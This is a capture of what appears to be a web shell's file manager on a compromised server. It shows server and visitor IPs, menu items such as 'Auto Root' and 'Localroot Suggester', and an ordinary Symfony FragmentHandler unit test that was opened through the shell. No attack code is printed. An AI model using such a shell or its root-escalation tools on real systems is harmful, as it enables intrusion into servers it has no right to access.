Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.211
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
symfony /
http-kernel /
Tests /
Fragment /
Delete
Unzip
Name
Size
Permission
Date
Action
EsiFragmentRendererTest.php
4.09
KB
-rw-r--r--
2018-11-30 09:00
FragmentHandlerTest.php
2.74
KB
-rw-r--r--
2018-11-30 09:00
HIncludeFragmentRendererTest.php
4.76
KB
-rw-r--r--
2018-11-30 09:00
InlineFragmentRendererTest.php
11.56
KB
-rw-r--r--
2018-11-30 09:00
RoutableFragmentRendererTest.php
3.8
KB
-rw-r--r--
2018-11-30 09:00
SsiFragmentRendererTest.php
3.49
KB
-rw-r--r--
2018-11-30 09:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Tests\Fragment; use PHPUnit\Framework\TestCase; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Fragment\FragmentHandler; /** * @group time-sensitive */ class FragmentHandlerTest extends TestCase { private $requestStack; protected function setUp() { $this->requestStack = $this->getMockBuilder('Symfony\\Component\\HttpFoundation\\RequestStack') ->disableOriginalConstructor() ->getMock() ; $this->requestStack ->expects($this->any()) ->method('getCurrentRequest') ->will($this->returnValue(Request::create('/'))) ; } /** * @expectedException \InvalidArgumentException */ public function testRenderWhenRendererDoesNotExist() { $handler = new FragmentHandler($this->requestStack); $handler->render('/', 'foo'); } /** * @expectedException \InvalidArgumentException */ public function testRenderWithUnknownRenderer() { $handler = $this->getHandler($this->returnValue(new Response('foo'))); $handler->render('/', 'bar'); } /** * @expectedException \RuntimeException * @expectedExceptionMessage Error when rendering "http://localhost/" (Status code is 404). */ public function testDeliverWithUnsuccessfulResponse() { $handler = $this->getHandler($this->returnValue(new Response('foo', 404))); $handler->render('/', 'foo'); } public function testRender() { $handler = $this->getHandler($this->returnValue(new Response('foo')), array('/', Request::create('/'), array('foo' => 'foo', 'ignore_errors' => true))); $this->assertEquals('foo', $handler->render('/', 'foo', array('foo' => 'foo'))); } protected function getHandler($returnValue, $arguments = array()) { $renderer = $this->getMockBuilder('Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface')->getMock(); $renderer ->expects($this->any()) ->method('getName') ->will($this->returnValue('foo')) ; $e = $renderer ->expects($this->any()) ->method('render') ->will($returnValue) ; if ($arguments) { $e->with(...$arguments); } $handler = new FragmentHandler($this->requestStack); $handler->addRenderer($renderer); return $handler; } }